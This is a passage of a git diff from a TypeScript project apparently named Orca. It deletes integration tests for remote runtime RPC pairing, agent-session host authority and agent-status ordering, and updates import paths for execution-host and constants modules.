refreshAccountsForMobileSubscriber: async () => { - for (const listener of accountsListeners) { - listener({ claude: null, codex: null }) - } - }, - onAccountsChanged: (listener: (snapshot: unknown) => void) => { - accountsListeners.add(listener) - return () => accountsListeners.delete(listener) - }, - onNotificationDispatched: (listener: (event: unknown) => void) => { - notificationListeners.add(listener) - return () => notificationListeners.delete(listener) - }, - listMobileSessionTabs: () => sessionTabSnapshot, - listAllMobileSessionTabs: () => [sessionTabSnapshot], - onMobileSessionTabsChanged: (listener: (snapshot: unknown) => void) => { - sessionTabListeners.add(listener) - return () => sessionTabListeners.delete(listener) - }, - watchFileExplorer: async () => () => {}, - listVisibleRepos: () => [repo], - showRepo: (selector: string) => { - if (selector !== repo.id && selector !== `id:${repo.id}`) { - throw new Error('repo_not_found') - } - return repo - }, - listDetectedManagedWorktrees: () => ({ - repoId: repo.id, - authoritative: true, - source: 'git', - worktrees - }), - dedupeWorktreeCreate: passthroughDedupe, - createManagedWorktree: ({ name }: { name?: string }) => { - const worktree = { - id: `repo-1::${name || 'created'}`, - repoId: repo.id, - path: join(userDataPath, name || 'created'), - branch: name || 'created', - displayName: name || 'created', - isMainWorktree: false - } - worktrees.push(worktree) - for (const listener of clientEventListeners) { - listener({ type: 'worktreesChanged', repoId: repo.id }) - } - return { worktree } - } - } as unknown as OrcaRuntimeService - const server = new OrcaRuntimeRpcServer({ - runtime, - userDataPath, - enableWebSocket: true, - wsPort: 0 - }) - - await server.start() - try { - const offer = server.createPairingOffer({ name: 'integration', scope: 'runtime' }) - if (!offer.available) { - throw new Error('pairing unavailable') - } - const pairing = parsePairingCode(offer.pairingUrl) - if (!pairing) { - throw new Error('invalid pairing') - } - - const events: RuntimeClientEventStreamMessage[] = [] - const shared = new RemoteRuntimeSharedControlConnection( - pairedRuntimeConnectionFromOffer(pairing) - ) - const subscription = await shared.subscribe( - 'runtime.clientEvents.subscribe', - undefined, - REMOTE_RUNTIME_REQUEST_TIMEOUT_MS, - { - onResponse: (response) => { - if (response.ok) { - events.push(response.result) - } - }, - onError: (error) => { - throw error - } - } - ) - try { - await waitFor(() => events.some((event) => event.type === 'ready')) - - await expect( - shared.request('status.get', undefined, REMOTE_RUNTIME_REQUEST_TIMEOUT_MS) - ).resolves.toMatchObject({ - ok: true, - result: { capabilities: [REMOTE_RUNTIME_SHARED_CONTROL_CAPABILITY] } - }) - await expect( - shared.request('repo.list', undefined, REMOTE_RUNTIME_REQUEST_TIMEOUT_MS) - ).resolves.toMatchObject({ - ok: true, - result: { repos: [repo] } - }) - await expect( - shared.request( - 'worktree.create', - { repo: repo.id, name: 'shared-created' }, - REMOTE_RUNTIME_REQUEST_TIMEOUT_MS - ) - ).resolves.toMatchObject({ - ok: true, - result: { worktree: { id: 'repo-1::shared-created' } } - }) - await waitFor(() => - events.some((event) => event.type === 'worktreesChanged' && event.repoId === repo.id) - ) - - const mixedEvents: unknown[] = [] - const mixedMethods = [ - ['runtime.clientEvents.subscribe', undefined], - ['session.tabs.subscribe', { worktree: 'id:wt-1' }], - ['accounts.subscribe', undefined], - ['notifications.subscribe', undefined], - ['files.watch', { worktree: 'id:wt-1' }] - ] as const - const mixedSubscriptions = await Promise.all( - Array.from({ length: 30 }, (_value, index) => { - const [method, params] = mixedMethods[index % mixedMethods.length]! - return shared.subscribe(method, params, REMOTE_RUNTIME_REQUEST_TIMEOUT_MS, { - onResponse: (response) => { - if (response.ok) { - mixedEvents.push(response.result) - } - }, - onError: (error) => { - throw error - } - }) - }) - ) - await waitFor( - () => subscriptionCleanups.size >= mixedSubscriptions.length + 1, - 5000, - () => `cleanup count ${subscriptionCleanups.size}, event count ${mixedEvents.length}` - ) - await waitFor( - () => mixedEvents.length > 0, - REMOTE_RUNTIME_REQUEST_TIMEOUT_MS, - () => `cleanup count ${subscriptionCleanups.size}, event count ${mixedEvents.length}` - ) - expect(server.getMobileSocketWiring()?.connectionCount).toBe(1) - for (const mixed of mixedSubscriptions) { - mixed.close() - } - - const extraSubscriptions = await Promise.all( - Array.from({ length: 30 }, () => - shared.subscribe( - 'runtime.clientEvents.subscribe', - undefined, - REMOTE_RUNTIME_REQUEST_TIMEOUT_MS, - { - onResponse: () => {}, - onError: (error) => { - throw error - } - } - ) - ) - ) - expect(server.getMobileSocketWiring()?.connectionCount).toBe(1) - for (const extra of extraSubscriptions) { - extra.close() - } - } finally { - subscription.close() - shared.close() - } - } finally { - await server.stop() - rmSync(userDataPath, { recursive: true, force: true }) - } - } - ) -}) - -async function waitFor( - predicate: () => boolean, - timeoutMs = 1000, - describeTimeout?: () => string -): Promise { - const start = Date.now() - while (Date.now() - start < timeoutMs) { - if (predicate()) { - return - } - await new Promise((resolve) => setTimeout(resolve, 10)) - } - throw new Error( - `Timed out waiting for condition${describeTimeout ? `: ${describeTimeout()}` : ''}` - ) -} diff --git a/src/main/runtime/rpc/server/runtime-rpc-websocket-dispatch.ts b/src/main/runtime/rpc/server/runtime-rpc-websocket-dispatch.ts index 7305ab7e130..1ee969ed882 100644 --- a/src/main/runtime/rpc/server/runtime-rpc-websocket-dispatch.ts +++ b/src/main/runtime/rpc/server/runtime-rpc-websocket-dispatch.ts @@ -16,7 +16,7 @@ import type { RpcBinarySender } from '../transports/rpc-binary-sender' import { limitRuntimeRpcReplySize } from './runtime-rpc-reply-size-limit' import { MOBILE_RPC_METHOD_ALLOWLIST } from './runtime-rpc-mobile-method-allowlist' import { MOBILE_RPC_METHOD_ROUTES } from './runtime-rpc-mobile-method-routing' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { WorktreeRemove } from '../../../../shared/rpc-contract/workspaces/worktree-params' // Stamp proven scope at transport boundary; status.get has no connection context. diff --git a/src/main/runtime/session-construction/agent-session/remote-agent-session-host-authority.integration.test.ts b/src/main/runtime/session-construction/agent-session/remote-agent-session-host-authority.integration.test.ts deleted file mode 100644 index 3943534df8a..00000000000 --- a/src/main/runtime/session-construction/agent-session/remote-agent-session-host-authority.integration.test.ts +++ /dev/null @@ -1,241 +0,0 @@ -import { pairedRuntimeConnectionFromOffer } from '../../../../shared/remote-runtime/pairing/paired-runtime-connection' -import '../../../daemon/pty-subprocess/testing/mock-descendant-sweep' -import { mkdtempSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, describe, expect, it, vi } from 'vitest' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' -import { parsePairingCode } from '../../../../shared/remote-runtime/pairing/pairing' -import { RemoteRuntimeRequestConnection } from '../../../../shared/remote-runtime/requests/remote-runtime-request-connection' -import type { - RuntimeEnsureAgentSessionResult, - RuntimeEnsureAgentSessionRequest -} from '../../../../shared/agent-session/agent-session-host-authority' -import type { RuntimeMobileSessionTabsResult } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' -import type { SubprocessHandle } from '../../../daemon/sessions/session-subprocess-handle' -import { TerminalHost } from '../../../daemon/terminal-host/terminal-host' -import { OrcaRuntimeService } from '../../orca-runtime' -import { OrcaRuntimeRpcServer } from '../../rpc/server/runtime-rpc' - -const TEST_TIMEOUT_MS = 15_000 -const REQUEST_TIMEOUT_MS = 5_000 - -type ControlledSubprocess = SubprocessHandle & { exit: (code?: number) => void } - -function createControlledSubprocess(): ControlledSubprocess { - let onExit: ((code: number) => void) | null = null - let exited = false - const exit = (code = 0): void => { - if (exited) { - return - } - exited = true - onExit?.(code) - } - return { - pid: 41_000, - getForegroundProcess: () => (exited ? null : 'claude'), - write: vi.fn(), - resize: vi.fn(), - kill: () => exit(0), - terminateOwnedTree: () => 'unavailable' as const, - forceKill: () => exit(137), - signal: vi.fn(), - onData: vi.fn(), - onExit: (listener) => { - onExit = listener - }, - dispose: vi.fn(), - exit - } -} - -function requirePairing(server: OrcaRuntimeRpcServer, name: string) { - const offer = server.createPairingOffer({ name, scope: 'runtime' }) - if (!offer.available) { - throw new Error('pairing unavailable') - } - const pairing = parsePairingCode(offer.pairingUrl) - if (!pairing) { - throw new Error('invalid pairing') - } - return pairing -} - -describe('remote agent-session host authority integration', () => { - const cleanups: (() => void | Promise)[] = [] - - afterEach(async () => { - for (const cleanup of cleanups.splice(0).toReversed()) { - await cleanup() - } - }) - - it( - 'deduplicates racing remote resumes, adopts retries, and retires exited surfaces', - { timeout: TEST_TIMEOUT_MS }, - async () => { - const userDataPath = mkdtempSync(join(tmpdir(), 'orca-agent-authority-repro-')) - cleanups.push(() => rmSync(userDataPath, { recursive: true, force: true })) - - const subprocesses: ControlledSubprocess[] = [] - const spawnSubprocess = vi.fn(() => { - const subprocess = createControlledSubprocess() - subprocesses.push(subprocess) - return subprocess - }) - const host = new TerminalHost({ spawnSubprocess }) - cleanups.push(() => host.dispose()) - - const store = { - getSettings: () => ({ - workspaceDir: userDataPath, - nestWorkspaces: false, - refreshLocalBaseRefOnWorktreeCreate: false, - branchPrefix: 'none', - branchPrefixCustom: '', - disabledTuiAgents: [], - agentCmdOverrides: {}, - agentDefaultArgs: {}, - agentDefaultEnv: {} - }), - getRepos: () => [], - getRepo: () => undefined, - getAllWorktreeMeta: () => ({}), - getWorktreeMeta: () => undefined, - getProjects: () => [] - } - const runtime = new OrcaRuntimeService(store as never) - let nextRequestedSession = 0 - runtime.setPtyController({ - spawn: async (options) => { - const requestedSessionId = `remote-repro-${++nextRequestedSession}` - let resolvedSessionId = requestedSessionId - const result = await host.createOrAttach({ - sessionId: requestedSessionId, - cols: options.cols, - rows: options.rows, - cwd: options.cwd, - env: options.env, - command: options.command, - startupCommandDelivery: options.startupCommandDelivery, - launchAgent: options.launchAgent, - agentSessionEnsure: options.agentSessionEnsure, - streamClient: { - onData: (data) => runtime.onPtyData(resolvedSessionId, data, Date.now()), - onExit: (code) => runtime.onPtyExit(resolvedSessionId, code) - }, - onSessionResolved: (sessionId) => { - resolvedSessionId = sessionId - } - }) - return { - id: result.agentSessionEnsure?.owner.ptyId ?? resolvedSessionId, - ...(result.agentSessionEnsure ? { agentSessionEnsure: result.agentSessionEnsure } : {}) - } - }, - write: () => true, - kill: () => true, - getForegroundProcess: async () => 'claude' - }) - - const server = new OrcaRuntimeRpcServer({ - runtime, - userDataPath, - enableWebSocket: true, - wsPort: 0 - }) - await server.start() - cleanups.push(() => server.stop()) - - const firstClient = new RemoteRuntimeRequestConnection( - pairedRuntimeConnectionFromOffer(requirePairing(server, 'client-one')) - ) - const secondClient = new RemoteRuntimeRequestConnection( - pairedRuntimeConnectionFromOffer(requirePairing(server, 'client-two')) - ) - const retryClient = new RemoteRuntimeRequestConnection( - pairedRuntimeConnectionFromOffer(requirePairing(server, 'retry-client')) - ) - cleanups.push(() => firstClient.close()) - cleanups.push(() => secondClient.close()) - cleanups.push(() => retryClient.close()) - - const request: RuntimeEnsureAgentSessionRequest = { - kind: 'explicit', - worktree: `id:${FLOATING_TERMINAL_WORKTREE_ID}`, - agent: 'claude', - providerSession: { key: 'session_id', id: 'provider-session-repro' }, - presentation: 'background' - } - const [first, second] = await Promise.all([ - firstClient.request( - 'terminal.ensureAgentSession', - request, - REQUEST_TIMEOUT_MS - ), - secondClient.request( - 'terminal.ensureAgentSession', - request, - REQUEST_TIMEOUT_MS - ) - ]) - - expect(first.ok).toBe(true) - expect(second.ok).toBe(true) - if (!first.ok || !second.ok) { - throw new Error('structured resume failed') - } - expect([first.result.disposition, second.result.disposition].sort()).toEqual([ - 'adopted', - 'created' - ]) - expect(second.result.terminal).toMatchObject({ - handle: first.result.terminal.handle, - tabId: first.result.terminal.tabId, - paneKey: first.result.terminal.paneKey, - ptyId: first.result.terminal.ptyId - }) - expect(spawnSubprocess).toHaveBeenCalledOnce() - expect(host.listSessions()).toHaveLength(1) - - // A lost reply cannot prove delivery; retries must recover ownership through provider identity. - const retry = await retryClient.request( - 'terminal.ensureAgentSession', - request, - REQUEST_TIMEOUT_MS - ) - expect(retry).toMatchObject({ - ok: true, - result: { - disposition: 'adopted', - terminal: { - handle: first.result.terminal.handle, - tabId: first.result.terminal.tabId, - paneKey: first.result.terminal.paneKey, - ptyId: first.result.terminal.ptyId - } - } - }) - expect(spawnSubprocess).toHaveBeenCalledOnce() - - subprocesses[0]?.exit(0) - await vi.waitFor(async () => { - const [terminals, tabs] = await Promise.all([ - firstClient.request<{ terminals: unknown[] }>( - 'terminal.list', - { worktree: `id:${FLOATING_TERMINAL_WORKTREE_ID}` }, - REQUEST_TIMEOUT_MS - ), - secondClient.request( - 'session.tabs.list', - { worktree: `id:${FLOATING_TERMINAL_WORKTREE_ID}` }, - REQUEST_TIMEOUT_MS - ) - ]) - expect(terminals).toMatchObject({ ok: true, result: { terminals: [] } }) - expect(tabs).toMatchObject({ ok: true, result: { tabs: [] } }) - }) - } - ) -}) diff --git a/src/main/runtime/session-graph/session-graph-authority.ts b/src/main/runtime/session-graph/session-graph-authority.ts index 7e65713ce82..5095662ce02 100644 --- a/src/main/runtime/session-graph/session-graph-authority.ts +++ b/src/main/runtime/session-graph/session-graph-authority.ts @@ -5,7 +5,7 @@ import { getRepoSshConnectionId, parseExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { WORKSPACE_ON_OTHER_RUNTIME } from '../../../shared/remote-runtime/protocol/preflight-runtime-capabilities' import type { OrcaRuntimeWithResolveBrowserNetworkExecutionHostForWorktree as ResolveBrowserNetworkExecutionHostForWorktreeMethods } from '../terminal/launch/terminal-workspace-scope' import { OrcaRuntimeWithHasTerminalsForWorktree } from './session-graph-reload-lifecycle' diff --git a/src/main/runtime/session-graph/session-graph-promotion.ts b/src/main/runtime/session-graph/session-graph-promotion.ts index 4ef5d08dc2a..174317f19e5 100644 --- a/src/main/runtime/session-graph/session-graph-promotion.ts +++ b/src/main/runtime/session-graph/session-graph-promotion.ts @@ -13,7 +13,7 @@ import type { OrcaRuntimeWithSyncMobileSessionTabs as SyncMobileSessionTabsMetho import { OrcaRuntimeWithNotifySshStateChanged } from '../workspaces/workspace-host-notifications' import { HEADLESS_RUNTIME_WINDOW_ID } from '../../../shared/remote-runtime/session-graph/runtime-session-contracts' import { ActiveGroupViewFacts } from '../view-facts/active-group-view-facts' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import type { RuntimePtyWorktreeRecord } from '../terminal/records/runtime-terminal-state-records' import type { SessionTitleAuthority } from '../session-tabs/session-title-publisher' diff --git a/src/main/runtime/session-lifecycle/close/close-mobile-session-tab.ts b/src/main/runtime/session-lifecycle/close/close-mobile-session-tab.ts index c3fdf9ecd50..a5fee067e75 100644 --- a/src/main/runtime/session-lifecycle/close/close-mobile-session-tab.ts +++ b/src/main/runtime/session-lifecycle/close/close-mobile-session-tab.ts @@ -16,7 +16,7 @@ import { getRuntimeBrowserPageRegistry } from '../../browser/client-pages/runtim import type { RuntimeEdgeCommandSurface } from '../../construction/runtime-edge-command-controller' import { rendererPublicationThrottle } from '../../../window/visibility/renderer-publication-throttle' import { retireHeadlessMobileSessionEditorTab } from '../../session-tabs/headless-editor-tabs' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' import { closeMobileStructuredSessionPresentation } from '../../session-tabs/structured-session-tab-presentation' import type { OrcaRuntimeWithCloseStructuredAgentSessionTab as ChatPresentation } from '../../session-tabs/structured-session-tab-close' diff --git a/src/main/runtime/session-lifecycle/projection/build-headless-mobile-session-browser-tabs.ts b/src/main/runtime/session-lifecycle/projection/build-headless-mobile-session-browser-tabs.ts index 012ce61f52b..edbb386ecc7 100644 --- a/src/main/runtime/session-lifecycle/projection/build-headless-mobile-session-browser-tabs.ts +++ b/src/main/runtime/session-lifecycle/projection/build-headless-mobile-session-browser-tabs.ts @@ -27,7 +27,7 @@ import type { } from '../../../../shared/workspace-layout/terminal-surfaces/terminal-surface-close-target' import { retireTerminalSurfacesFromSnapshot } from '../../terminal/surface/mobile-session-terminal-retirement' import type { PtyControllerInventory } from '../../terminal/lifecycle/runtime-pty-controller-contract' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import { captureAcknowledgedTerminalTabRetirement } from '../../terminal/surface/workspace-session-terminal-tab-retirement-identity' import { closeLeafOrTab } from '../../../persistence/terminal-topology/terminal-topology-commit' import { markAgentLaunchesClosedByUser } from '../../../agent-launch/agent-launch-pane-attachment' diff --git a/src/main/runtime/session-lifecycle/projection/orca-runtime-mobile-agent-status-ordering.test.ts b/src/main/runtime/session-lifecycle/projection/orca-runtime-mobile-agent-status-ordering.test.ts deleted file mode 100644 index c2b2927305f..00000000000 --- a/src/main/runtime/session-lifecycle/projection/orca-runtime-mobile-agent-status-ordering.test.ts +++ /dev/null @@ -1,108 +0,0 @@ -// #28102: paired clients choose newer updatedAt; never move a pane's published timestamp backward across turn end. -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { OrcaRuntimeService } from '../../orca-runtime' -import type { AgentStatusEntry } from '../../../../shared/agent-status/contracts/agent-status-types' -import type { AgentStatusIpcPayload } from '../../../../shared/agent-status/contracts/agent-status-ipc-payload' -import { makePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' -import { committingSpawn } from '../../orca-runtime-tests/bind-first-pane.test-fixture' -import { makeRuntimeStoreWithWorkspaceSession } from '../../orca-runtime-tests/orca-runtime-test-fixtures.spec' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' - -vi.mock('electron', () => ({ - BrowserWindow: { fromId: vi.fn(() => null) }, - webContents: { fromId: vi.fn(() => null) }, - ipcMain: { on: vi.fn(), removeListener: vi.fn() }, - app: { getPath: vi.fn(() => '/tmp') } -})) - -const LEAF_ID = '22222222-2222-4222-8222-222222222222' -const TAB_ID = 'muse-tab' -const WORKTREE_ID = 'wt-muse' -const PANE_KEY = makePaneKey(TAB_ID, LEAF_ID) -const PTY_ID = 'pty-muse' -// Issue captures sampled session.tabs.list every 200ms; deltas are relative to hook Stop. -const STOP_AT = 1_700_000_000_000 -const TRAILING_SPINNER_AT = STOP_AT + 4_534 -const PLAIN_TITLE_AT = STOP_AT + 4_800 - -async function createRuntime(rows: AgentStatusIpcPayload[]): Promise { - const { runtimeStore } = makeRuntimeStoreWithWorkspaceSession(getDefaultWorkspaceSession()) - const runtime = new OrcaRuntimeService(runtimeStore, undefined, { - getAgentStatusSnapshot: () => rows, - getPublicAgentStatusSnapshotForPane: (paneKey) => rows.filter((row) => row.paneKey === paneKey) - }) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: resolveTerminalWorkspaceLaunchScope is a member of OrcaRuntimeService; the cast only exposes it to the spy. - const internals = runtime as unknown as { - resolveTerminalWorkspaceLaunchScope: (selector: string) => Promise - } - vi.spyOn(internals, 'resolveTerminalWorkspaceLaunchScope').mockResolvedValue({ - id: WORKTREE_ID, - path: '/repo/app', - connectionId: null, - repo: null, - folderWorkspace: null - }) - runtime.setPtyController({ - spawn: committingSpawn(runtime, vi.fn().mockResolvedValue({ id: PTY_ID })), - write: () => true, - kill: () => true, - getForegroundProcess: async () => null - }) - await runtime.createTerminal(`id:${WORKTREE_ID}`, { - tabId: TAB_ID, - leafId: LEAF_ID, - launchAgent: 'claude', - title: 'Terminal' - }) - return runtime -} - -async function projectAgentStatus( - runtime: OrcaRuntimeService -): Promise { - const result = await runtime.listMobileSessionTabs(`id:${WORKTREE_ID}`) - const tab = result.tabs[0] - return tab?.type === 'terminal' ? tab.agentStatus : undefined -} - -describe('session.tabs agent status ordering after a turn ends', () => { - beforeEach(() => { - vi.useFakeTimers() - vi.setSystemTime(STOP_AT) - }) - - afterEach(() => { - vi.useRealTimers() - }) - - it('publishes the final done with a stamp no older than the trailing spinner frame', async () => { - const stopRow: AgentStatusIpcPayload = { - paneKey: PANE_KEY, - state: 'done', - prompt: 'Reply with just the word OK3', - agentType: 'claude', - connectionId: null, - receivedAt: STOP_AT, - stateStartedAt: STOP_AT, - tabId: TAB_ID, - worktreeId: WORKTREE_ID, - lastAssistantMessage: 'OK3' - } - const runtime = await createRuntime([stopRow]) - - // Captured spinner animation continues after Stop. - vi.setSystemTime(TRAILING_SPINNER_AT) - runtime.onPtyData(PTY_ID, '\x1b]0;⠧ muse\x07', TRAILING_SPINNER_AT) - const spinning = await projectAgentStatus(runtime) - expect(spinning).toEqual( - expect.objectContaining({ state: 'working', updatedAt: TRAILING_SPINNER_AT }) - ) - - vi.setSystemTime(PLAIN_TITLE_AT) - runtime.onPtyData(PTY_ID, '\x1b]0;muse\x07', PLAIN_TITLE_AT) - const settled = await projectAgentStatus(runtime) - expect(settled?.state).toBe('done') - expect(settled?.updatedAt).toBeGreaterThanOrEqual(TRAILING_SPINNER_AT) - expect(settled?.evidenceObservedAt).toBe(STOP_AT) - }) -}) diff --git a/src/main/runtime/session-lifecycle/projection/orca-runtime-mobile-markdown-tab-routes.test.ts b/src/main/runtime/session-lifecycle/projection/orca-runtime-mobile-markdown-tab-routes.test.ts index 7e6289b0d01..0227a43d947 100644 --- a/src/main/runtime/session-lifecycle/projection/orca-runtime-mobile-markdown-tab-routes.test.ts +++ b/src/main/runtime/session-lifecycle/projection/orca-runtime-mobile-markdown-tab-routes.test.ts @@ -3,9 +3,9 @@ import { mkdtemp, readFile, rm, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { hashMarkdownContent } from '../../../../shared/editor/markdown/mobile-markdown-document' import type { RuntimeMobileSessionMarkdownTab } from '../../../../shared/remote-runtime/session-graph/runtime-mobile-session-tab-contracts' import '../../../../shared/remote-runtime/remote-runtime-client-error' diff --git a/src/main/runtime/session-lifecycle/projection/perform-mobile-session-pty-records-refresh.ts b/src/main/runtime/session-lifecycle/projection/perform-mobile-session-pty-records-refresh.ts index 5195339c79f..6f8a15ace95 100644 --- a/src/main/runtime/session-lifecycle/projection/perform-mobile-session-pty-records-refresh.ts +++ b/src/main/runtime/session-lifecycle/projection/perform-mobile-session-pty-records-refresh.ts @@ -6,7 +6,7 @@ import { OrcaRuntimeWithRestoredPaneStart } from './restored-pane-materialize' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/workspace-layout/layout-owner-switch' import type { PtyControllerInventory } from '../../terminal/lifecycle/runtime-pty-controller-contract' import { isAgentLaunchRunningIn } from '../../../agent-launch/agent-launch-pane-attachment' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import type { RuntimeNavigationTarget } from '../../../../shared/remote-runtime/session-graph/runtime-navigation' import type { TabActivationIntent } from '../../../../shared/workspace-layout/tab-groups/tab-activation-intent' import type { @@ -16,7 +16,7 @@ import type { } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import type { ResolvedWorktree } from '../../workspaces/catalog/runtime-worktree-path-identity' import { includeTargetResolvedWorktree } from '../../workspaces/catalog/runtime-worktree-path-identity' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import { navigationTargetsHost } from '../../../../shared/remote-runtime/session-graph/runtime-navigation' import { isAutomaticTabActivation } from '../../../../shared/workspace-layout/tab-groups/tab-activation-intent' diff --git a/src/main/runtime/session-lifecycle/projection/reconcile-headless-mobile-session-browser-tabs.ts b/src/main/runtime/session-lifecycle/projection/reconcile-headless-mobile-session-browser-tabs.ts index 748ff331398..0c80b9c4797 100644 --- a/src/main/runtime/session-lifecycle/projection/reconcile-headless-mobile-session-browser-tabs.ts +++ b/src/main/runtime/session-lifecycle/projection/reconcile-headless-mobile-session-browser-tabs.ts @@ -18,7 +18,7 @@ import { parseAppSshPtyId, toComparableRelaySshPtyId } from '../../../../shared/remote-runtime/ssh/ssh-pty-id' -import { toSshExecutionHostId } from '../../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../../shared/execution-host/execution-host' import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' import { sshRemotePtyLeaseAllowsReattach } from '../../../../shared/remote-runtime/ssh/ssh-types' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' diff --git a/src/main/runtime/session-lifecycle/projection/resume-agent-session-in-workspace.ts b/src/main/runtime/session-lifecycle/projection/resume-agent-session-in-workspace.ts index 54cc6417281..b6d521a7971 100644 --- a/src/main/runtime/session-lifecycle/projection/resume-agent-session-in-workspace.ts +++ b/src/main/runtime/session-lifecycle/projection/resume-agent-session-in-workspace.ts @@ -10,7 +10,7 @@ import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent import { getConnectionExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { OrcaRuntimeWithCreateRuntimeOwnedMobileSessionTerminal as OwnedMobileTerminalCreate } from '../../terminal/launch/mobile-terminal-owned-create' import { deterministicAgentSessionUuid } from '../../terminal/launch/runtime-agent-launch-resolution' import { isUnclaimedRunningSleepRecord } from './sleep-record-pane-claim' diff --git a/src/main/runtime/session-tabs/acknowledged-terminal-tab-retirement-fixture.ts b/src/main/runtime/session-tabs/acknowledged-terminal-tab-retirement-fixture.ts index ef38e60052f..9de92f142d3 100644 --- a/src/main/runtime/session-tabs/acknowledged-terminal-tab-retirement-fixture.ts +++ b/src/main/runtime/session-tabs/acknowledged-terminal-tab-retirement-fixture.ts @@ -2,8 +2,8 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../shared/constants' -import type { PersistedState } from '../../../shared/persisted-state-types' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { RuntimeSyncWindowGraph } from '../../../shared/remote-runtime/session-graph/runtime-session-contracts' import { closeTerminalTabInWorkspaceSession } from '../../../shared/workspace-session/workspace-session-terminal-tab-close' import { ProfileStateSqliteAuthority } from '../../persistence/profile-state/profile-state-sqlite-authority' diff --git a/src/main/runtime/session-tabs/main-layout-agent-launch-tabs.ts b/src/main/runtime/session-tabs/main-layout-agent-launch-tabs.ts index d7af9747805..5e0066d7839 100644 --- a/src/main/runtime/session-tabs/main-layout-agent-launch-tabs.ts +++ b/src/main/runtime/session-tabs/main-layout-agent-launch-tabs.ts @@ -6,7 +6,7 @@ import type { } from '../../../shared/agent-launch/contracts/agent-launch-tab-publication' import type { AgentLaunchPlacementReceipt } from '../../../shared/agent-launch/contracts/agent-launch-intent' import type { AgentLaunchPaneAddress } from '../../../shared/agent-launch/contracts/agent-launch-pane-verdict' -import { parseExecutionHostId } from '../../../shared/execution-host' +import { parseExecutionHostId } from '../../../shared/execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../shared/workspace-layout/layout-owner-switch' import type { RuntimePtyWorktreeRecord } from '../terminal/records/runtime-terminal-state-records' import type { TerminalIdentityReadContext } from '../terminal/query/terminal-identity-read-context' diff --git a/src/main/runtime/session-tabs/paired-host-terminal-close.test.ts b/src/main/runtime/session-tabs/paired-host-terminal-close.test.ts index d4154420939..e6bc12d19e4 100644 --- a/src/main/runtime/session-tabs/paired-host-terminal-close.test.ts +++ b/src/main/runtime/session-tabs/paired-host-terminal-close.test.ts @@ -3,9 +3,9 @@ import { describe, expect, it, vi } from 'vitest' import { toRemoteRuntimePtyId } from '../../../shared/remote-runtime/remote-runtime-pty-id' -import { OrchestrationError } from '../orchestration/orchestration-error' +import '../orchestration/orchestration-error' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' await import('../orca-runtime-tests/runtime-test-module-registration.spec') const { OrcaRuntimeService } = await import('../orca-runtime') @@ -120,36 +120,6 @@ describe('closing a terminal that a paired runtime runs', () => { ]) }) - it('retires the mirror of a terminal the owning host no longer knows, without claiming a stop', async () => { - // Exercise a real owner that never issued the handle so its refusal survives RPC error mapping. - const owner = new OrcaRuntimeService(store) - await owner.syncWindowGraph(1, { tabs: [], leaves: [] }) - const { runtime, closeTerminalTab } = await pairedHostLeafRuntime( - async (_env, _method, params) => { - const terminal = - typeof params === 'object' && params !== null && 'terminal' in params - ? String(params.terminal) - : '' - try { - return { close: await owner.closeTerminal(terminal) } - } catch (error) { - const message = error instanceof Error ? error.message : String(error) - throw new OrchestrationError(message, message) - } - } - ) - const handle = await listedHandle(runtime) - - await expect(runtime.closeTerminal(handle)).resolves.toEqual({ - handle, - tabId: 'tab-1', - ptyKilled: false, - ptyStopVerdict: 'unverifiable', - ptyStopReason: 'its owning host no longer recognizes this terminal handle' - }) - expect(closeTerminalTab).toHaveBeenCalledOnce() - }) - it.each(['local', 'runtime:env-1'] as const)( 'refuses a pinned tab saved in the %s partition before the owning host stops anything', async (partition) => { diff --git 